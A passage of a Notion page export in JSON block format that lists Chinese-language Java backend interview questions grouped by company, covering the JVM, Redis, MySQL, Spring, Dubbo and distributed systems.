ck_count":true}},"a3676a1a-103d-419a-94fd-c5846bb7bb10":{"value":{"id":"a3676a1a-103d-419a-94fd-c5846bb7bb10","type":"bulleted_list","properties":{"title":[["线程池适合什么样的场景,有哪些参数,配置的参数有哪些考虑"]]},"created_time":1712329332993,"last_edited_time":1712329332993,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2de89b35-f88c-4ede-ad96-8abd37d431d4":{"value":{"id":"2de89b35-f88c-4ede-ad96-8abd37d431d4","type":"bulleted_list","properties":{"title":[["如何保证请求的顺序和余额扣减不超"]]},"created_time":1712329332993,"last_edited_time":1712329332993,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3a42ec97-a1cb-459b-ae5e-86ddf1ceb717":{"value":{"id":"3a42ec97-a1cb-459b-ae5e-86ddf1ceb717","type":"bulleted_list","properties":{"title":[["dubbo调用原理"]]},"created_time":1712329332993,"last_edited_time":1712329332993,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6cce5335-9bbe-4154-b727-fa1ada199700":{"value":{"id":"6cce5335-9bbe-4154-b727-fa1ada199700","type":"bulleted_list","properties":{"title":[["了解netty吗"]]},"created_time":1712329332993,"last_edited_time":1712329332993,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6c30e8b7-b93a-4d32-9e90-e6c3a1b478c3":{"value":{"id":"6c30e8b7-b93a-4d32-9e90-e6c3a1b478c3","type":"bulleted_list","properties":{"title":[["hashmap"]]},"created_time":1712329332993,"last_edited_time":1712329332993,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"487546c7-b90f-48e2-8791-7c13f712564f":{"value":{"id":"487546c7-b90f-48e2-8791-7c13f712564f","type":"bulleted_list","properties":{"title":[["分布式唯一id生成选型有哪些考量"]]},"created_time":1712329332994,"last_edited_time":1712329332994,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ac5687c2-724f-44dd-b8b8-99cbe470eb66":{"value":{"id":"ac5687c2-724f-44dd-b8b8-99cbe470eb66","type":"bulleted_list","properties":{"title":[["监控怎么做的"]]},"created_time":1712329332994,"last_edited_time":1712329332994,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3c9f5321-ccdf-401b-8bef-ccabda8ab2fa":{"value":{"id":"3c9f5321-ccdf-401b-8bef-ccabda8ab2fa","type":"bulleted_list","properties":{"title":[["怎样保证幂等"]]},"created_time":1712329332994,"last_edited_time":1712329332994,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"09d0444e-b506-4c4d-b15d-1b2f3f5f8c8f":{"value":{"id":"09d0444e-b506-4c4d-b15d-1b2f3f5f8c8f","type":"bulleted_list","properties":{"title":[["分布式定时任务,任务分片"]]},"created_time":1712329332994,"last_edited_time":1712329332994,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"36911e31-1b84-4000-abed-8f3a042ee131":{"value":{"id":"36911e31-1b84-4000-abed-8f3a042ee131","type":"bulleted_list","properties":{"title":[["有没有了解过devops"]]},"created_time":1712329332995,"last_edited_time":1712329332995,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8ac1c8ea-0871-4ebf-9b73-760a43591c43":{"value":{"id":"8ac1c8ea-0871-4ebf-9b73-760a43591c43","type":"bulleted_list","properties":{"title":[["分布式发号器如何调研的,leaf是怎么做的,怎么解决时钟回拨,snowflake的设计"]]},"created_time":1712329332995,"last_edited_time":1712329332995,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5126f898-b869-4585-9010-79c23f5692c5":{"value":{"id":"5126f898-b869-4585-9010-79c23f5692c5","type":"bulleted_list","properties":{"title":[["分布式锁考虑过哪些方案"]]},"created_time":1712329332995,"last_edited_time":1712329332995,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3681e81d-add2-4fee-a562-6fb2d91ba524":{"value":{"id":"3681e81d-add2-4fee-a562-6fb2d91ba524","type":"bulleted_list","properties":{"title":[["了解过哪些中间件,dubbo的原理,看过源码没"]]},"created_time":1712329332995,"last_edited_time":1712329332995,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7479181d-98d8-41bd-b085-3d0dcb2c1757":{"value":{"id":"7479181d-98d8-41bd-b085-3d0dcb2c1757","type":"bulleted_list","properties":{"title":[["数据迁移时有哪些注意的地方"]]},"created_time":1712329332995,"last_edited_time":1712329332995,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"36619c4a-5050-4a1e-876c-7b7180eebbb7":{"value":{"id":"36619c4a-5050-4a1e-876c-7b7180eebbb7","type":"bulleted_list","properties":{"title":[["code review如何做的,review时需要注意哪些"]]},"created_time":1712329332995,"last_edited_time":1712329332995,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"90082857-d898-4819-a143-fd105a936078":{"value":{"id":"90082857-d898-4819-a143-fd105a936078","type":"header","properties":{"title":[["39.Boss"]]},"created_time":1712329332996,"last_edited_time":1712375308222,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"62b77c17-20d1-4677-a032-54ac05799d6f":{"value":{"id":"62b77c17-20d1-4677-a032-54ac05799d6f","type":"bulleted_list","properties":{"title":[["设计秒杀场景"]]},"created_time":1712329332996,"last_edited_time":1712329332996,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d8f83f67-42a6-4c4b-bbe9-58294d0311d2":{"value":{"id":"d8f83f67-42a6-4c4b-bbe9-58294d0311d2","type":"bulleted_list","properties":{"title":[["知道哪些情况索引会失效"]]},"created_time":1712329332996,"last_edited_time":1712329332996,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"205b7102-e442-4d3b-aae0-ebe505a9b32b":{"value":{"id":"205b7102-e442-4d3b-aae0-ebe505a9b32b","type":"bulleted_list","properties":{"title":[["知道哪些Java的锁"]]},"created_time":1712329332996,"last_edited_time":1712329332996,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e4eae8a8-5b21-4c47-8717-f3301621490b":{"value":{"id":"e4eae8a8-5b21-4c47-8717-f3301621490b","type":"bulleted_list","properties":{"title":[["运行时如何发现系统之间订单的不一致"]]},"created_time":1712329332996,"last_edited_time":1712329332996,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"abe02d8d-f4b1-4398-a44c-57c379b7609f":{"value":{"id":"abe02d8d-f4b1-4398-a44c-57c379b7609f","type":"bulleted_list","properties":{"title":[["项目中的数据是怎样加密"]]},"created_time":1712329332997,"last_edited_time":1712329332997,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8da6fa0d-23a0-4c57-9532-a7cd2a195deb":{"value":{"id":"8da6fa0d-23a0-4c57-9532-a7cd2a195deb","type":"bulleted_list","properties":{"title":[["一条select语句在mysql是怎样执行的"]]},"created_time":1712329332997,"last_edited_time":1712329332997,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c6641b84-132b-473f-bfb1-5755e9bdac24":{"value":{"id":"c6641b84-132b-473f-bfb1-5755e9bdac24","type":"bulleted_list","properties":{"title":[["分库情况下的转账交易如何设计"]]},"created_time":1712329332997,"last_edited_time":1712329332997,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"573103e5-45fc-4b87-9a2f-5726361a787d":{"value":{"id":"573103e5-45fc-4b87-9a2f-5726361a787d","type":"bulleted_list","properties":{"title":[["分布式事务怎么处理的"]]},"created_time":1712329332997,"last_edited_time":1712329332997,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"edd6fc3c-e205-4e83-8890-d40fd0d8ac2c":{"value":{"id":"edd6fc3c-e205-4e83-8890-d40fd0d8ac2c","type":"bulleted_list","properties":{"title":[["如果让你设计一个订单表,该怎么设计"]]},"created_time":1712329332997,"last_edited_time":1712329332997,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"851e1dd8-3cda-47d8-a72c-9b03b88d7ea9":{"value":{"id":"851e1dd8-3cda-47d8-a72c-9b03b88d7ea9","type":"bulleted_list","properties":{"title":[["callable和runn2able有什么区别"]]},"created_time":1712329332997,"last_edited_time":1712329332997,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"61fb002d-6c32-42ca-8f98-42d0a73a5926":{"value":{"id":"61fb002d-6c32-42ca-8f98-42d0a73a5926","type":"bulleted_list","properties":{"title":[["项目tps多少"]]},"created_time":1712329332998,"last_edited_time":1712329332998,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"52dfbbe5-20ff-47e1-87f8-e100c3a75e46":{"value":{"id":"52dfbbe5-20ff-47e1-87f8-e100c3a75e46","type":"header","properties":{"title":[["40.Opay",[["b"]]]]},"created_time":1712329332998,"last_edited_time":1712375323047,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"37e20101-ef4b-47e1-9eca-a5c08cb3669e":{"value":{"id":"37e20101-ef4b-47e1-9eca-a5c08cb3669e","type":"bulleted_list","properties":{"title":[["知道哪里数据库引擎,都有哪些区别"]]},"created_time":1712329332998,"last_edited_time":1712329332998,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0e3c7405-1609-4051-9ee5-e66839529847":{"value":{"id":"0e3c7405-1609-4051-9ee5-e66839529847","type":"bulleted_list","properties":{"title":[["innodb事务的ACID,B,B+树,在磁盘读取的时候有什么区别"]]},"created_time":1712329332998,"last_edited_time":1712329332998,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8025baaa-8a2e-49d1-baea-bd02cac67fb7":{"value":{"id":"8025baaa-8a2e-49d1-baea-bd02cac67fb7","type":"bulleted_list","properties":{"title":[["innodb怎么实现行锁,不走索引会不会用到行锁"]]},"created_time":1712329332999,"last_edited_time":1712329332999,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5f0f66f4-8786-41ff-80dd-ac7135d36851":{"value":{"id":"5f0f66f4-8786-41ff-80dd-ac7135d36851","type":"bulleted_list","properties":{"title":[["数据库怎么做数据的持久化"]]},"created_time":1712329332999,"last_edited_time":1712329332999,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8453728d-ef0b-4fe8-914f-cfe34f0db3c5":{"value":{"id":"8453728d-ef0b-4fe8-914f-cfe34f0db3c5","type":"bulleted_list","properties":{"title":[["mysql如何解决幻读问题"]]},"created_time":1712329332999,"last_edited_time":1712329332999,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"64c55f7e-b98d-4f4c-a63d-cc9afa563b95":{"value":{"id":"64c55f7e-b98d-4f4c-a63d-cc9afa563b95","type":"bulleted_list","properties":{"title":[["jvm内存结构,gc算法区别,常用垃圾回收器区别,jdk8默认垃圾回收器"]]},"created_time":1712329332999,"last_edited_time":1712329332999,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5c755d17-2b1e-465d-8ed7-8f8c00f53c3c":{"value":{"id":"5c755d17-2b1e-465d-8ed7-8f8c00f53c3c","type":"bulleted_list","properties":{"title":[["方法区1.7\n1.8差异,如何确认一个对象是可以被回收的,哪些对象可以被标记为gcroot"]]},"created_time":1712329332999,"last_edited_time":1712329332999,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d4348a8e-44e9-4e78-afd4-8da0d81db274":{"value":{"id":"d4348a8e-44e9-4e78-afd4-8da0d81db274","type":"bulleted_list","properties":{"title":[["redis分布式锁实现,锁续期问题,redis如何做一个队列,redis如何持久化,rdb如何做到不影响主线程"]]},"created_time":1712329332999,"last_edited_time":1712329332999,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"dcb6e298-4cf5-4118-90ff-8c57423b5105":{"value":{"id":"dcb6e298-4cf5-4118-90ff-8c57423b5105","type":"bulleted_list","properties":{"title":[["如何保证缓存和数据库的一致性"]]},"created_time":1712329332999,"last_edited_time":1712329332999,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1c0aa920-0f68-43e6-a2a2-9657359ba09a":{"value":{"id":"1c0aa920-0f68-43e6-a2a2-9657359ba09a","type":"header","properties":{"title":[["41.叮咚"]]},"created_time":1712329333000,"last_edited_time":1712375345949,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c3c4ded4-7de4-4918-be44-d4cbb42e28bd":{"value":{"id":"c3c4ded4-7de4-4918-be44-d4cbb42e28bd","type":"bulleted_list","properties":{"title":[["线程的状态,怎么理解线程安全问题"]]},"created_time":1712329333000,"last_edited_time":1712329333000,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9a8d41f0-424e-49ee-90ee-a0224cb77912":{"value":{"id":"9a8d41f0-424e-49ee-90ee-a0224cb77912","type":"bulleted_list","properties":{"title":[["自定义注解怎么实现"]]},"created_time":1712329333000,"last_edited_time":1712329333000,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c9d89256-b17e-4719-accb-16ce08471f4b":{"value":{"id":"c9d89256-b17e-4719-accb-16ce08471f4b","type":"bulleted_list","properties":{"title":[["泛型"]]},"created_time":1712329333000,"last_edited_time":1712329333000,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f4e9ddf7-2a9e-40e3-a7f2-49a793cfe56e":{"value":{"id":"f4e9ddf7-2a9e-40e3-a7f2-49a793cfe56e","type":"bulleted_list","properties":{"title":[["nio"]]},"created_time":1712329333000,"last_edited_time":1712329333000,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"35b7eee0-2535-4ba3-96f1-810f03ffc63e":{"value":{"id":"35b7eee0-2535-4ba3-96f1-810f03ffc63e","type":"bulleted_list","properties":{"title":[["类加载机制"]]},"created_time":1712329333001,"last_edited_time":1712329333001,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"928f5436-d765-40e5-b3fd-a61248a48a6e":{"value":{"id":"928f5436-d765-40e5-b3fd-a61248a48a6e","type":"bulleted_list","properties":{"title":[["spring ioc,aop,对象注入有哪几种方式?如何解决循环依赖?"]]},"created_time":1712329333001,"last_edited_time":1712329333001,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5dde5675-7153-45ef-81c3-0f623cc0747a":{"value":{"id":"5dde5675-7153-45ef-81c3-0f623cc0747a","type":"bulleted_list","properties":{"title":[["垃圾回收器(生产环境怎么oracle用的)"]]},"created_time":1712329333001,"last_edited_time":1712329333001,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"10ec51ce-6713-4da8-99dc-3bd055584168":{"value":{"id":"10ec51ce-6713-4da8-99dc-3bd055584168","type":"bulleted_list","properties":{"title":[["设计模式(观察者模式)"]]},"created_time":1712329333001,"last_edited_time":1712329333001,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"142a4449-baf2-4725-8505-3a09c35c3ca6":{"value":{"id":"142a4449-baf2-4725-8505-3a09c35c3ca6","type":"bulleted_list","properties":{"title":[["动态代理"]]},"created_time":1712329333001,"last_edited_time":1712329333001,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5a174a5d-3065-4f6a-9515-b507eb5b89ed":{"value":{"id":"5a174a5d-3065-4f6a-9515-b507eb5b89ed","type":"bulleted_list","properties":{"title":[["oauth2.0步骤"]]},"created_time":1712329333001,"last_edited_time":1712329333001,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"efd97050-fc15-45d3-9b80-893d091771c5":{"value":{"id":"efd97050-fc15-45d3-9b80-893d091771c5","type":"bulleted_list","properties":{"title":[["elasticsearch\n原理,底层数据结构,新增一条数据,能立马查询到吗?"]]},"created_time":1712329333002,"last_edited_time":1712329333002,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7724735a-f035-4399-b820-578b58ac6f5c":{"value":{"id":"7724735a-f035-4399-b820-578b58ac6f5c","type":"bulleted_list","properties":{"title":[["mybatis 代理模式怎么实现的?mysql四种隔离级别"]]},"created_time":1712329333002,"last_edited_time":1712329333002,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"35842d5d-0dc9-493e-b319-baaed574cd3a":{"value":{"id":"35842d5d-0dc9-493e-b319-baaed574cd3a","type":"bulleted_list","properties":{"title":[["redis集群生产环境怎么使用的?如果集群三个实例,挂了一个,另外两个还能查到缓存吗?"]]},"created_time":1712329333002,"last_edited_time":1712329333002,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"43916223-d1e2-4253-85a1-11239b8f3f75":{"value":{"id":"43916223-d1e2-4253-85a1-11239b8f3f75","type":"bulleted_list","properties":{"title":[["redis的过期删除策略和内存淘汰策略,redis的数据持久化"]]},"created_time":1712329333002,"last_edited_time":1712329333002,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"255cffc8-3112-4560-8b20-52d3de1f536f":{"value":{"id":"255cffc8-3112-4560-8b20-52d3de1f536f","type":"bulleted_list","properties":{"title":[["分布式锁(zookeeper怎么实现)"]]},"created_time":1712329333002,"last_edited_time":1712329333002,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b9930662-24e5-4207-b7ec-027946797ec5":{"value":{"id":"b9930662-24e5-4207-b7ec-027946797ec5","type":"bulleted_list","properties":{"title":[["分布式事务(lcn),"]]},"created_time":1712329333002,"last_edited_time":1712329333002,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"adfa08a1-0732-46f3-ba07-292394336ad8":{"value":{"id":"adfa08a1-0732-46f3-ba07-292394336ad8","type":"bulleted_list","properties":{"title":[["分布式id(雪花算法如何保证集群下的每个实例机器码不重复)"]]},"created_time":1712329333003,"last_edited_time":1712329333003,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d9bdb8ae-b8b8-4ee8-9093-40ea8f669ba3":{"value":{"id":"d9bdb8ae-b8b8-4ee8-9093-40ea8f669ba3","type":"bulleted_list","properties":{"title":[["docker 如何运行Java项目"]]},"created_time":1712329333003,"last_edited_time":1712329333003,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e4fca22c-f72e-4137-9886-89f5a54dfe12":{"value":{"id":"e4fca22c-f72e-4137-9886-89f5a54dfe12","type":"header","properties":{"title":[["42.阿里"]]},"created_time":1712329333003,"last_edited_time":1712375513545,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5726127f-a4f2-4460-99cf-22d429646307":{"value":{"id":"5726127f-a4f2-4460-99cf-22d429646307","type":"bulleted_list","properties":{"title":[["jvm 内存和运行过程"]]},"created_time":1712329333004,"last_edited_time":1712329333004,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4038bf35-f9f5-49a3-a321-b615ebfd563a":{"value":{"id":"4038bf35-f9f5-49a3-a321-b615ebfd563a","type":"bulleted_list","properties":{"title":[["jvm 调优(实践一下)"]]},"created_time":1712329333004,"last_edited_time":1712329333004,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d69ca458-5ab6-4a6c-9aec-fcd258ffbee2":{"value":{"id":"d69ca458-5ab6-4a6c-9aec-fcd258ffbee2","type":"bulleted_list","properties":{"title":[["四种线程实现方式"]]},"created_time":1712329333004,"last_edited_time":1712329333004,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a60626a2-fccb-4e53-84b6-9e196219b707":{"value":{"id":"a60626a2-fccb-4e53-84b6-9e196219b707","type":"bulleted_list","properties":{"title":[["Runnable 和 Thread 关系,和 Callable、FutureTask 关系,讲讲1.8 中\nFuture 有什么改进,或者有什么新类?"]]},"created_time":1712329333004,"last_edited_time":1712329333004,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0bd8f0a3-8f62-4d63-a44e-054b1f76a685":{"value":{"id":"0bd8f0a3-8f62-4d63-a44e-054b1f76a685","type":"bulleted_list","properties":{"title":[["jvm 调参问题(看书)"]]},"created_time":1712329333005,"last_edited_time":1712329333005,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8c205f93-0e39-4f1f-afb6-821f0dd5a409":{"value":{"id":"8c205f93-0e39-4f1f-afb6-821f0dd5a409","type":"bulleted_list","properties":{"title":[["Java IO 方面(没学)"]]},"created_time":1712329333005,"last_edited_time":1712329333005,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"eba20b42-c1f0-49d2-b84a-c8cdca6bb7fb":{"value":{"id":"eba20b42-c1f0-49d2-b84a-c8cdca6bb7fb","type":"bulleted_list","properties":{"title":[["缓存一致性问题"]]},"created_time":1712329333005,"last_edited_time":1712329333005,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d557d621-4076-4aca-816c-8ee1afcb7858":{"value":{"id":"d557d621-4076-4aca-816c-8ee1afcb7858","type":"bulleted_list","properties":{"title":[["hashmap 为什么用"],["红黑树",[["a","http://jump/super-jump/word?word=%E7%BA%A2%E9%BB%91%E6%A0%91"]]],["不用avl树?"]]},"created_time":1712329333007,"last_edited_time":1712329333007,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"83bb2b33-8eb3-4dbf-a9e9-2c1215b67f3a":{"value":{"id":"83bb2b33-8eb3-4dbf-a9e9-2c1215b67f3a","type":"bulleted_list","properties":{"title":[["讲讲面向对象吧"]]},"created_time":1712329333007,"last_edited_time":1712329333007,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"041ce5ca-ee04-4316-8443-b1c3bd673252":{"value":{"id":"041ce5ca-ee04-4316-8443-b1c3bd673252","type":"bulleted_list","properties":{"title":[["讲讲你对 Spring 的理解"]]},"created_time":1712329333008,"last_edited_time":1712329333008,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"896de711-c46e-4b12-a0f6-fd785a776395":{"value":{"id":"896de711-c46e-4b12-a0f6-fd785a776395","type":"bulleted_list","properties":{"title":[["IoC 和 AOP 讲一下"]]},"created_time":1712329333008,"last_edited_time":1712329333008,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9e5f01de-eb04-4eb0-8ea3-a42b5ee9bcab":{"value":{"id":"9e5f01de-eb04-4eb0-8ea3-a42b5ee9bcab","type":"bulleted_list","properties":{"title":[["redis 为什么快?"]]},"created_time":1712329333009,"last_edited_time":1712375521455,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f34c8502-11f1-497a-aebc-00e05a54219f":{"value":{"id":"f34c8502-11f1-497a-aebc-00e05a54219f","type":"bulleted_list","properties":{"title":[["redis集群有用到吗、数据同步?(没有,还没学到)"]]},"created_time":1712329333010,"last_edited_time":1712375529782,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"66b1cf28-5fed-46d0-8224-89dc21c15a43":{"value":{"id":"66b1cf28-5fed-46d0-8224-89dc21c15a43","type":"bulleted_list","properties":{"title":[["Object 对象中的方法"]]},"created_time":1712329333011,"last_edited_time":1712329333011,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e37edd33-00a0-4e32-8c7d-59953532c28c":{"value":{"id":"e37edd33-00a0-4e32-8c7d-59953532c28c","type":"bulleted_list","properties":{"title":[["hashcode 和 equals 方法关系和 为啥重写 equals 还要重写 hashcode\n呢?"]]},"created_time":1712329333011,"last_edited_time":1712329333011,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"35bc7684-34b0-49fb-b082-3401945884d0":{"value":{"id":"35bc7684-34b0-49fb-b082-3401945884d0","type":"bulleted_list","properties":{"title":[["hashmap put 方法流程,和线程不安全问题引出相关 安全的\nhashmap"]]},"created_time":1712329333011,"last_edited_time":1712329333011,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"959ea8b5-860e-4e6f-9fbb-8b7d6b5cbe1b":{"value":{"id":"959ea8b5-860e-4e6f-9fbb-8b7d6b5cbe1b","type":"bulleted_list","properties":{"title":[["concurrenthashmap put 流程"]]},"created_time":1712329333011,"last_edited_time":1712329333011,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"cd52f004-2bb7-4e6d-a09f-c3092a887de9":{"value":{"id":"cd52f004-2bb7-4e6d-a09f-c3092a887de9","type":"bulleted_list","properties":{"title":[["开放性问题:银行排队叫号和超市排队两者区别(我答的是阻塞非阻塞)"]]},"created_time":1712329333012,"last_edited_time":1712329333012,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"93a9bcd3-92b1-4565-85b4-9b6cf88f495b":{"value":{"id":"93a9bcd3-92b1-4565-85b4-9b6cf88f495b","type":"bulleted_list","properties":{"title":[["对自己评价"]]},"created_time":1712329333013,"last_edited_time":1712329333013,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a4f40078-27f4-4935-9e7f-e89525322614":{"value":{"id":"a4f40078-27f4-4935-9e7f-e89525322614","type":"bulleted_list","properties":{"title":[["成绩怎么样(不太行)"]]},"created_time":1712329333013,"last_edited_time":1712329333013,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"91c25ef8-f46e-47f6-bef1-cbc7bb8aaa46":{"value":{"id":"91c25ef8-f46e-47f6-bef1-cbc7bb8aaa46","type":"bulleted_list","properties":{"title":[["平时学习怎么学习的?"]]},"created_time":1712329333013,"last_edited_time":1712329333013,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"214646d5-4bc2-4c42-9c17-666006d110d1":{"value":{"id":"214646d5-4bc2-4c42-9c17-666006d110d1","type":"bulleted_list","properties":{"title":[["对你当时阿里笔试的题目有过回顾吗?"]]},"created_time":1712329333014,"last_edited_time":1712329333014,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6f4c588c-cfdd-4010-bd21-405aa4443960":{"value":{"id":"6f4c588c-cfdd-4010-bd21-405aa4443960","type":"header","properties":{"title":[["43.美团"]]},"created_time":1712329333014,"last_edited_time":1712376119818,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0fe07c7e-c25a-46e4-ab90-c26d33ea7586":{"value":{"id":"0fe07c7e-c25a-46e4-ab90-c26d33ea7586","type":"bulleted_list","properties":{"title":[["介绍一下广告系统怎么实现,有哪些功能,召回流程是怎样的,过滤是干嘛用的"]]},"created_time":1712329333015,"last_edited_time":1712329333015,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"07216a10-c9d9-486f-a5f2-06a0fd957343":{"value":{"id":"07216a10-c9d9-486f-a5f2-06a0fd957343","type":"bulleted_list","properties":{"title":[["为什么曝光统计用es去做,为什么不用mysql"]]},"created_time":171232933